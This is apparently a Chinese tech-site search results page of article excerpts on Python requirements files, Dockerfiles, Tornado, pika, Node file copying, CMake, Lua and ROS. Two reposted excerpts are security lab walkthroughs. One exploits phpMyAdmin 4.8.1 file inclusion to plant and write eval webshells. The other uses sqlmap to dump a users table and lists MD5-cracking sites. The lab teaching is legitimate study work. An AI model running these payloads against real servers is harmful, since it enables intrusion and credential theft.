前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[requirements.txt]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
Linux
...独立的虚拟环境并配置requirements.txt或setup.py,开发者能够精确控制各个项目中Python模块的版本和导入路径,有效避免因全局环境下的库冲突导致的问题。 另外,Python社区中有一些成熟的项目组织规范,例如“分层架构”和“微服务化”,它们在模块导入路径的设计上提供了最佳实践指导。例如,遵循“src”布局模式,即将所有的源代码放在一个名为“src”的顶层目录下,这样可以保持项目的整洁,并使得模块导入路径更为明确和易于维护。 总之,无论是在Python的新特性支持、开发工具的运用还是项目架构设计层面,理解和掌握Python模块导入路径的设定及其实时发展动态,都将是每一位Python开发者提升项目管理水平和技术实力的重要一环。
2023-03-09 18:38:16
107
时光倒流_t
Docker
.../app COPY requirements.txt /app RUN pip3 install -r requirements.txt COPY . /app CMD ["python3", "app.py"] 这个Dockerfile的作用是:运用最新版本的Ubuntu作为基础镜像,然后装置Python3和pip包管理器。我们的程序源码位于/app目录下,所以我们将运行目录设置为/app。接下来,我们将应用程序的依赖项列表存储于requirements.txt文件中,并装置这些依赖项。最后,我们拷贝整个程序源码到/app目录下,并规定了应用程序的启动指令。 当我们构建这个Docker镜像时,会执行上述Dockerfile中的指令,生成包括应用程序及其依赖项的镜像。运用以下命令来创建镜像: docker build -t myapp . 其中,“myapp”是我们为此镜像赋予的名字,点号表示运用当前目录中的Dockerfile文件。 现在,我们可以在Docker容器中执行我们的应用程序了。运用以下命令来启动容器: docker run -d -p 5000:5000 myapp 其中,“-d”选项表示在后台执行容器,“-p”选项是将容器的5000端口连接至主机的5000端口。这意味着我们可以在本地浏览器中打开http://localhost:5000来访问应用程序了。 这就是运用Docker整合应用程序的基本过程,它可以简化应用程序的构建和部署过程,提高开发效率。
2023-05-14 18:00:01
553
软件工程师
Docker
...he-dir -r requirements.txt EXPOSE 80 CMD ["python", "app.py"] 上面是一个例子,展示了一个 Dockerfile 镜像构建文件,它定义了包的基础镜像、工作目录、文件拷贝、必要的依赖安装、端口暴露和运行命令等构建过程。拥有 Dockerfile 的镜像可以被看作是一个单独的应用程序包,可通过 Docker 引擎构建和运行。 总的来说,Docker 技术是一个非常强大和流行的容器化平台,它可以帮助我们更好地部署和管理应用程序,并且可以简化我们的构建和运维工作。具体化是 Docker 的核心理念之一,让我们可以有效地创建和运行相同的应用程序实例。
2023-11-15 13:22:24
548
程序媛
Docker
...pp目录下 ADD requirements.txt /app/ 添加特定文件到镜像指定位置,并支持自动解压tar归档文件 3.2 ENV指令 设置环境变量对于配置应用程序至关重要,ENV指令允许我们在构建镜像时定义环境变量: dockerfile ENV NODE_ENV=production 3.3 WORKDIR指令 WORKDIR用来指定工作目录,后续的RUN、CMD、ENTRYPOINT等指令都将在这个目录下执行: dockerfile WORKDIR /app 3.4 EXPOSE指令 EXPOSE用于声明容器对外提供服务所监听的端口: dockerfile EXPOSE 80 443 4. 高级话题 Dockerfile最佳实践与思考 - 保持镜像精简:每次修改镜像都应尽量小且独立,遵循单一职责原则,每个镜像只做一件事并做好。 - 层叠优化:合理安排Dockerfile中的指令顺序,减少不必要的层构建,提升构建效率。 - 充分利用缓存:Docker在构建过程中会利用缓存机制,如果已有的层没有变化,则直接复用,因此,把变动可能性大的步骤放在最后能有效利用缓存加速构建。 在编写Dockerfile的过程中,我们常常会遇到各种挑战和问题,这正是探索与学习的乐趣所在。每一次动手尝试,都是我们对容器化这个理念的一次接地气的深入理解和灵活运用,就好比每敲出的一行代码,都在悄无声息地讲述着我们这群人,对于打造出那种既高效、又稳定、还能随时随地搬来搬去的应用环境,那份死磕到底、永不言弃的坚持与热爱。 所以,亲爱的开发者朋友们,不妨亲手拿起键盘,去编写属于你自己的Dockerfile,感受那种“从无到有”的创造魅力,同时也能深深体验到Docker所带来的便捷和力量。在这场编程之旅中,愿我们都能以更轻便的方式,拥抱云原生时代!
2023-08-01 16:49:40
513
百转千回_
Tornado
...三方的额外依赖,应在requirements.txt文件中列出并使用pip install -r requirements.txt进行安装。 2. 配置文件错误带来的困扰 2.1 问题描述 配置文件错误是另一个常见的部署问题。Tornado应用通常会读取配置文件来获取数据库连接信息、监听端口等设置。如果配置文件格式不正确或关键参数缺失,服务自然无法正常启动。 python 示例:从配置文件读取端口信息 import tornadotools.config config = tornadotools.config.load_config('my_config.json') port = config.get('server', {}).get('port', 8000) 如果配置文件中没有指定端口,将默认为8000 然后在启动应用时使用该端口 app.listen(port) 2.2 解决方案 检查配置文件是否符合预期格式且包含所有必需的参数。就像上面举的例子那样,假如你在“my_config.json”这个配置文件里头忘记给'server.port'设定端口值了,那服务就可能因为找不到合适的端口而罢工启动不了,跟你闹脾气呢。 json // 正确的配置文件示例: { "server": { "port": 8888 }, // 其他配置项... } 此外,建议在部署前先在本地环境模拟生产环境测试配置文件的有效性,避免上线后才发现问题。 3. 总结与思考 面对Tornado服务部署过程中可能出现的各种问题,我们需要保持冷静,遵循一定的排查步骤:首先确认基础环境搭建无误(包括依赖安装),然后逐一审查配置文件和其他环境变量。每次成功解决故障,那都是实实在在的经验在手心里攒着呢,而且这每回的过程,都像是咱们对技术的一次深度修炼,让理解力蹭蹭往上涨。 记住,调试的过程就像侦探破案一样,要耐心细致地查找线索,理性分析,逐步抽丝剥茧,最终解决问题。在这个过程中,不断反思和总结,你会发现自己的技术水平也在悄然提升。部署虽然繁琐,但当你看到自己亲手搭建的服务稳定运行时,那种成就感会让你觉得一切付出都是值得的!
2023-03-14 20:18:35
60
冬日暖阳
RabbitMQ
...管理策略。例如,在requirements.txt文件中明确指定依赖库的具体版本号,而不是使用通配符(如>=)。这样做的好处是,即使未来出现了更高级别的版本,也不会意外破坏现有功能。 下面是一段示例代码,展示了如何在pip中固定pika的版本为1.2.0: python requirements.txt pika==1.2.0 当然,这种方法也有缺点,那就是升级依赖时可能会比较麻烦。不过嘛,要是咱们团队人不多,但手头的项目特别讲究稳当性,那这个方法绝对值得一试! --- 4. 实战演练 修复旧代码,拥抱新世界 既然明白了问题所在,接下来就是动手解决问题了。嘿,为了让大家更清楚地知道怎么把旧版的API换成新版的,我打算用一段代码来给大家做个示范,保证一看就懂! 假设我们有一个简单的RabbitMQ生产者程序,如下所示: python import pika connection = pika.BlockingConnection(pika.ConnectionParameters('localhost')) channel = connection.channel() channel.queue_declare(queue='hello') channel.basic_publish(exchange='', routing_key='hello', body='Hello World!') print(" [x] Sent 'Hello World!'") connection.close() 如果你直接运行这段代码,很可能会遇到如下警告: DeprecationWarning: This method will be removed in future releases. Please use the equivalent method on the Channel class. 这是因为queue_declare方法现在已经被重新设计为返回一个包含元数据的对象,而不是单纯的字典。我们需要将其修改为如下形式: python import pika connection = pika.BlockingConnection(pika.ConnectionParameters('localhost')) channel = connection.channel() result = channel.queue_declare(queue='', exclusive=True) queue_name = result.method.queue channel.basic_publish(exchange='', routing_key=queue_name, body='Hello World!') print(" [x] Sent 'Hello World!'") connection.close() 可以看到,这里新增了一行代码来获取队列名称,同时调整了routing_key参数的赋值方式。这种改动虽然简单,但却能显著提升程序的健壮性和可读性。 --- 5. 总结与展望 从失败中学习,向成功迈进 回想起这次经历,我既感到懊恼又觉得幸运。真后悔啊,当时要是多花点时间去了解API的新变化,就不会在这上面浪费那么多精力了。不过话说回来,这次小挫折也让我学到了教训,以后会更注意避免类似的错误,而且也会更加重视代码的质量。 最后想对大家说一句:技术的世界瞬息万变,没有人能够永远站在最前沿。但只要保持好奇心和学习热情,我们就一定能找到通往成功的道路。毕竟,正如那句经典的话所说:“失败乃成功之母。”只要勇敢面对挑战,总有一天你会发现,那些曾经让你头疼不已的问题,其实都是成长路上不可或缺的一部分。 希望这篇文章对你有所帮助!如果你也有类似的经历或者见解,欢迎随时交流哦~
2025-03-12 16:12:28
105
岁月如歌
转载文章
...ile('test.txt', 'utf-8' (err, data) => { if (err) { throw err; } console.log(data); }); //同步 let data = fs.readFileSync('test.txt'); console.log(data); 异步读取文件参数:文件路径,编码方式,回调函数 写入文件 fs.writeFile('test2.txt', 'this is text', { 'flag': 'w' }, err => { if (err) { throw err; } console.log('saved'); }); 写入文件参数:目标文件,写入内容,写入形式,回调函数 flag写入方式: r:读取文件 w:写文件 a:追加 创建目录 fs.mkdir('dir', (err) => { if (err) { throw err; } console.log('make dir success'); }); dir为新建目录名称 读取目录 fs.readdir('dir',(err, files) => { if (err) { throw err; } console.log(files); }); dir为读取目录名称,files为目录下的文件或目录名称数组 获取文件信息 fs.stat('test.txt', (err, stats)=> { console.log(stats.isFile()); //true }) 获取文件信息后stats方法: 方法 说明 stats.isFile() 是否为文件 stats.isDirectory() 是否为目录 stats.isBlockDevice() 是否为块设备 stats.isCharacterDevice() 是否为字符设备 stats.isSymbolicLink() 是否为软链接 stats.isFIFO() 是否为UNIX FIFO命令管道 stats.isSocket() 是否为Socket 创建读取流 let stream = fs.createReadStream('test.txt'); 创建写入流 let stream = fs.createWriteStreamr('test_copy.txt'); 开发 开发思路: 读取源目录 判读存放目录是否存在,不存在时新建目录 复制文件 判断复制内容是否为文件 创建读取流 创建写入流 链接管道,写入文件内容 let fs = require('fs'), src = 'src', dist = 'dist', args = process.argv.slice(2), filename = 'image', index = 0; //show help if (args.length === 0 || args[0].match('--help')) { console.log('--help\n \t-src 文件源\n \t-dist 文件目标\n \t-n 文件名\n \t-i 文件名索引\n'); return false; } args.forEach((item, i) => { if (item.match('-src')) { src = args[i + 1]; } else if (item.match('-dist')) { dist = args[i + 1]; } else if (item.match('-n')) { filename = args[i + 1]; } else if (item.match('-i')) { index = args[i + 1]; } }); fs.readdir(src, (err, files) => { if (err) { console.log(err); } else { fs.exists(dist, exist => { if (exist) { copyFile(files, src, dist, filename, index); } else { fs.mkdir(dist, () => { copyFile(files, src, dist, filename, index); }) } }); } }); function copyFile(files, src, dist, filename, index) { files.forEach(n => { let readStream, writeStream, arr = n.split('.'), oldPath = src + '/' + n, newPath = dist + '/' + filename + index + '.' + arr[arr.length - 1]; fs.stat(oldPath, (err, stats) => { if (err) { console.log(err); } else if (stats.isFile()) { readStream = fs.createReadStream(oldPath); writeStream = fs.createWriteStream(newPath); readStream.pipe(writeStream); } }); index++; }) } 效果 总结 node提供了很多模块可以帮助我们完成不同需求的功能开发,使javascript不仅仅局限与浏览器中,尝试自己编写一些脚本有助于对这些模块的理解,同时也能提高办公效率。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_33205138/article/details/112036462。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-30 19:15:04
67
转载
转载文章
...php文件里包含1.txt,而1.txt的内容是phpinfo(),include函数包含1.txt,就会把1.txt的内容当成php文件执行,不管后缀是什么。1.txt也好,1.xml也好,只要里面是php代码,然后有被include函数包含,那么就被当成PHP文件执行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,然是不影响其他功能的执行,比如这里的nf和123的输出。那么就表明include函数,如果出现错误的话,并不会影响其他功能的运行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,影响后面功能的执行,比如这里的nf的输出,后面的功能因为2.txt报错,导致123未执行。那么就表明require函数,如果出现错误的话,会影响后面功能的运行。 只要文件内是php代码,文件包含是不在意文件后缀的。 12345.jpg的传参值是a,那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’) 然后生成一个新的php文件 访问index.php 以上我们接触的全部是本地文件包含 说了本地文件包含,我们再来看远程文件包含 简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。 要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启) 来我们可以来实验一下,把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件,搜索allow_url_include 把Off改为On,注:第一个字母要为大写 之后要重启才能生效。 配置开启后,我们来远程文件包含一下,我们来远程包含一下kali上的1.txt,可以看到没有本地包含,所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt,看会不会有phpinfo,注意我这里是index文件哦,所以是默认的。 可以看到,包含成功! 这里可以插一句题外话,如果是window服务器的话,可以让本地文件包含变成远程文件包含。需要开始XX配置,SMB服务。 这里我们可以发现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 实战 注意,这里php版本过低,会安装不上 安装好后,我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下,发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名:nf 接着创建表:ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 写入成功后,我们连接这个8.php的木马。 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的 1,创建一个库为yingqian1984, 2,创建一个表为yq1984 3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据 4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-06 09:10:40
343
转载
c++
...MakeLists.txt的配置文件。这个小玩意儿可重要了,就像解锁难题的金钥匙一样。但是,我对这个文件的作用还不太清楚。于是,我琢磨着得挤点时间,好好探究一下这个神神秘秘的文件,尤其是它到底有啥作用,怎么个用法,我可得摸透彻了。 二、什么是CMakeLists.txt? CMake是一个开源的跨平台自动化构建系统,它可以将C++和其他编程语言的源代码转换成各种不同的编译器和操作系统可以接受的形式。在这个环节里,我们得用一个叫CMakeLists.txt的神奇小文件,它相当于一份详细的说明书,告诉CMake这位幕后大厨应该如何料理咱们的源代码。 三、CMakeLists.txt的作用 那么,CMakeLists.txt到底起到了什么作用呢?我们可以从以下几个方面来了解: 1. 指定构建类型 通过在CMakeLists.txt文件中添加相应的指令,我们可以指定我们的项目是静态链接还是动态链接,是否需要生成库,等等。例如,如果我们想要生成一个静态库,可以在CMakeLists.txt文件中添加以下指令: set(CMAKE_BUILD_TYPE Release) set(CMAKE_EXPORT_COMPILE_COMMANDS ON) file(GLOB_RECURSE SOURCES ".cpp") add_library(mylib STATIC ${SOURCES}) 以上代码会将所有的.cpp文件编译成一个静态库,并将其命名为mylib.a。 2. 指定编译选项 我们还可以通过CMakeLists.txt文件来指定编译选项,如优化级别、警告级别等。例如,如果我们要开启编译器的所有警告,可以在CMakeLists.txt文件中添加以下指令: set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wall -Wextra") 以上代码会在编译C++代码时开启所有警告。 3. 定义依赖关系 除了上面提到的一些基本功能之外,CMakeLists.txt文件还可以用来定义项目的依赖关系。比方说,假设我们有个库叫A,而恰好有个库B对它特别依赖,就像大树离不开土壤一样。那么,为了让这两个库能够和谐共处,互相明白对方的需求,我们就可以在CMakeLists.txt这个“说明书”里,详细地写清楚它们之间的这种依赖关系,就像是画出一张谁也离不开谁的地图一样。具体做法如下: find_package(A REQUIRED) target_link_libraries(B PRIVATE A::A) 以上代码会查找名为A的库,并确保B的目标链接了该库。 四、总结 总的来说,CMakeLists.txt是一个非常强大的工具,它可以帮助我们更好地管理和构建C++项目。当你真正地钻透它,并且灵活玩转,就能让咱们的C++项目跑得更溜、更稳当、更靠谱。
2024-01-03 23:32:17
429
灵动之光_t
Lua
...("example.txt", "r") if file then local content = file:read("a") -- 读取所有内容 print(content) file:close() -- 关闭文件 end 4. 结语 深化理解,提升运用能力 通过以上示例,我们已经窥见了Lua内置函数和库的强大之处。然而,要真正玩转这些工具可不是一朝一夕的事儿,得靠我们在实际项目里不断摸索、积累实战经验,搞懂每个函数背后的门道和应用场景,就像咱们平时学做饭,不是光看菜谱就能成大厨,得多实践、多领悟才行。当你遇到问题时,不要忘记借助Lua社区的力量,互相交流学习,共同成长。这样子说吧,只有当我们做到了这一点,咱们才能实实在在地把Lua这门语言玩转起来,让它变成我们攻克复杂难题时手中那把无坚不摧的利器。每一次的尝试和实践,就像是我们一步一步稳稳地走向“把Lua内置函数和库玩得溜到飞起”这个目标的过程,每一步都踩得实实在在,充满动力。
2023-04-12 21:06:46
57
百转千回
Lua
...("example.txt", "r") if file then print(file:read("all")) file:close() else print("Failed to open the file.") end 2. 导入第三方库 对于需要更复杂功能的情况,开发者可能会选择使用第三方库。这些库往往封装了大量的功能,并提供了易于使用的 API。哎呀,要在 Lua 里用到那些别人写的库啊,首先得确保这个库已经在你的电脑上安好了,对吧?然后呢,还得让 Lua 找得到这个库。你得在设置里告诉它,嘿,这个库的位置我知道了,快去那边找找看!这样,你就可以在你的 Lua 代码里轻轻松松地调用这些库的功能啦!是不是觉得跟跟朋友聊天一样,轻松多了? 示例代码: 假设我们有一个名为 mathlib 的第三方库,其中包含了一些高级数学函数。首先,我们需要下载并安装这个库。 安装步骤: - 下载:从库的官方源或 GitHub 仓库下载。 - 编译:根据库的说明,使用适当的工具编译库。 - 配置搜索路径:将库的 .so 或 .dll 文件添加到 Lua 的 LOADLIBS 环境变量中,或者直接在 Lua 代码中指定路径。 使用代码: lua -- 导入自定义的 mathlib 库 local mathlib = require("path_to_mathlib.mathlib") -- 调用库中的函数 local result = mathlib.square(5) print("The square of 5 is: ", result) local power_result = mathlib.power(2, 3) print("2 to the power of 3 is: ", power_result) 3. 导入和使用自定义模块 在开发过程中,你可能会编写自己的模块,用于封装特定的功能集。这不仅有助于代码的组织,还能提高可重用性和维护性。 创建自定义模块: 假设我们创建了一个名为 utility 的模块,包含了常用的辅助函数。 模块代码: lua -- utility.lua local function add(a, b) return a + b end local function subtract(a, b) return a - b end return { add = add, subtract = subtract } 使用自定义模块: lua -- main.lua local utility = require("path_to_utility.utility") local result = utility.add(3, 5) print("The sum is: ", result) local difference = utility.subtract(10, 4) print("The difference is: ", difference) 4. 总结与思考 在 Lua 中导入和使用外部模块的过程,实际上就是将外部资源集成到你的脚本中,以增强其功能和灵活性。哎呀,这个事儿啊,得说清楚点。不管是 Lua 自带的那些功能工具,还是咱们从别处找来的扩展包,或者是自己动手编的模块,关键就在于三件事。第一,得知道自己要啥,需求明明白白的。第二,环境配置得对头,别到时候出岔子。第三,代码得有条理,分门别类,这样用起来才顺手。懂我的意思吧?这事儿可不能急,得慢慢来,细心琢磨。哎呀,你听过 Lua 这个玩意儿没?这家伙可厉害了,简直就是编程界的万能工具箱!不管你是想捣鼓个小脚本,还是搞个大应用,Lua 都能搞定。它就像个魔术师,变着花样满足你的各种需求,真的是太灵活、太强大了! 结语 学习和掌握 Lua 中的模块导入与使用技巧,不仅能够显著提升开发效率,还能让你的项目拥有更广泛的适用性和扩展性。哎呀,随着你对 Lua 语言越来越熟悉,你会发现,用那些灵活多变的工具,就像在厨房里调制美食一样,能做出既省时又好看的大餐。你不仅能快速搞定复杂的任务,还能让代码看起来赏心悦目,就像是艺术品一样。这不就是咱们追求的高效优雅嘛!无论是处理日常任务,还是开发复杂系统,Lua 都能以其简洁而强大的特性,成为你编程旅程中不可或缺的一部分。
2024-08-12 16:24:19
167
夜色朦胧
转载文章
...makelists.txt cmake_minimum_required(VERSION 2.8.3)project(draw) Compile as C++11, supported in ROS Kinetic and newer add_compile_options(-std=c++11) Find catkin macros and libraries if COMPONENTS list like find_package(catkin REQUIRED COMPONENTS xyz) is used, also find other catkin packagesfind_package(catkin REQUIRED COMPONENTSgeometry_msgsroscpprospystd_msgsmessage_generation)catkin_package( INCLUDE_DIRS include LIBRARIES learning_communicationCATKIN_DEPENDS geometry_msgs roscpp rospy std_msgs message_runtime DEPENDS system_lib) Build include_directories(include${catkin_INCLUDE_DIRS})add_executable(draw_path draw.cpp)target_link_libraries(draw_path ${catkin_LIBRARIES}) package.xml <?xml version="1.0"?><package><name>draw</name><version>0.0.0</version><description>The learning_communication package</description><!-- One maintainer tag required, multiple allowed, one person per tag --><!-- Example: --><!-- <maintainer email="jane.doe@example.com">Jane Doe</maintainer> --><maintainer email="hcx@todo.todo">hcx</maintainer><!-- One license tag required, multiple allowed, one license per tag --><!-- Commonly used license strings: --><!-- BSD, MIT, Boost Software License, GPLv2, GPLv3, LGPLv2.1, LGPLv3 --><license>TODO</license><!-- Url tags are optional, but multiple are allowed, one per tag --><!-- Optional attribute type can be: website, bugtracker, or repository --><!-- Example: --><!-- <url type="website">http://wiki.ros.org/learning_communication</url> --><!-- Author tags are optional, multiple are allowed, one per tag --><!-- Authors do not have to be maintainers, but could be --><!-- Example: --><!-- <author email="jane.doe@example.com">Jane Doe</author> --><!-- The _depend tags are used to specify dependencies --><!-- Dependencies can be catkin packages or system dependencies --><!-- Examples: --><!-- Use build_depend for packages you need at compile time: --><!-- <build_depend>message_generation</build_depend> --><!-- Use buildtool_depend for build tool packages: --><!-- <buildtool_depend>catkin</buildtool_depend> --><!-- Use run_depend for packages you need at runtime: --><!-- <run_depend>message_runtime</run_depend> --><!-- Use test_depend for packages you need only for testing: --><!-- <test_depend>gtest</test_depend> --><buildtool_depend>catkin</buildtool_depend><build_depend>geometry_msgs</build_depend><build_depend>roscpp</build_depend><build_depend>rospy</build_depend><build_depend>std_msgs</build_depend><run_depend>geometry_msgs</run_depend><run_depend>roscpp</run_depend><run_depend>rospy</run_depend><run_depend>std_msgs</run_depend><build_depend>message_generation</build_depend><run_depend>message_runtime</run_depend><!-- The export tag contains other, unspecified, tags --><export><!-- Other tools can request additional information be placed here --></export></package> vins_fusion: 双目vio等多系统 mkdir -p vins-catkin_ws/srccd vins-catkin_ws/srcgit clone https://github.com/HKUST-Aerial-Robotics/VINS-Fusion.gitcd ..catkin_makesource devel/setup.bash按照readme 3.1 Monocualr camera + IMUroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_mono_imu_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_mono_imu_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag 3.2 Stereo cameras + IMUroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_imu_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_imu_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag 3.3 Stereo camerasroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag<img src="https://github.com/HKUST-Aerial-Robotics/VINS-Fusion/blob/master/support_files/image/euroc.gif" width = 430 height = 240 /> 4. KITTI Example 4.1 KITTI Odometry (Stereo)Download [KITTI Odometry dataset](http://www.cvlibs.net/datasets/kitti/eval_odometry.php) to YOUR_DATASET_FOLDER. Take sequences 00 for example,Open two terminals, run vins and rviz respectively. (We evaluated odometry on KITTI benchmark without loop closure funtion)roslaunch vins vins_rviz.launch(optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/kitti_odom/kitti_config00-02.yamlrosrun vins kitti_odom_test ~/catkin_ws/src/VINS-Fusion/config/kitti_odom/kitti_config00-02.yaml YOUR_DATASET_FOLDER/sequences/00/ 4.2 KITTI GPS Fusion (Stereo + GPS)Download [KITTI raw dataset](http://www.cvlibs.net/datasets/kitti/raw_data.php) to YOUR_DATASET_FOLDER. Take [2011_10_03_drive_0027_synced](https://s3.eu-central-1.amazonaws.com/avg-kitti/raw_data/2011_10_03_drive_0027/2011_10_03_drive_0027_sync.zip) for example.Open three terminals, run vins, global fusion and rviz respectively. Green path is VIO odometry; blue path is odometry under GPS global fusion.roslaunch vins vins_rviz.launchrosrun vins kitti_gps_test ~/catkin_ws/src/VINS-Fusion/config/kitti_raw/kitti_10_03_config.yaml YOUR_DATASET_FOLDER/2011_10_03_drive_0027_sync/ rosrun global_fusion global_fusion_node<img src="https://github.com/HKUST-Aerial-Robotics/VINS-Fusion/blob/master/support_files/image/kitti.gif" width = 430 height = 240 /> 5. VINS-Fusion on car demonstrationDownload [car bag](https://drive.google.com/open?id=10t9H1u8pMGDOI6Q2w2uezEq5Ib-Z8tLz) to YOUR_DATASET_FOLDER.Open four terminals, run vins odometry, visual loop closure(optional), rviz and play the bag file respectively. Green path is VIO odometry; red path is odometry under visual loop closure.roslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/vi_car/vi_car.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/vi_car/vi_car.yaml rosbag play YOUR_DATASET_FOLDER/car.bag 本篇文章为转载内容。原文链接:https://blog.csdn.net/slzlincent/article/details/104364909。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-13 20:38:56
310
转载
转载文章
...件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 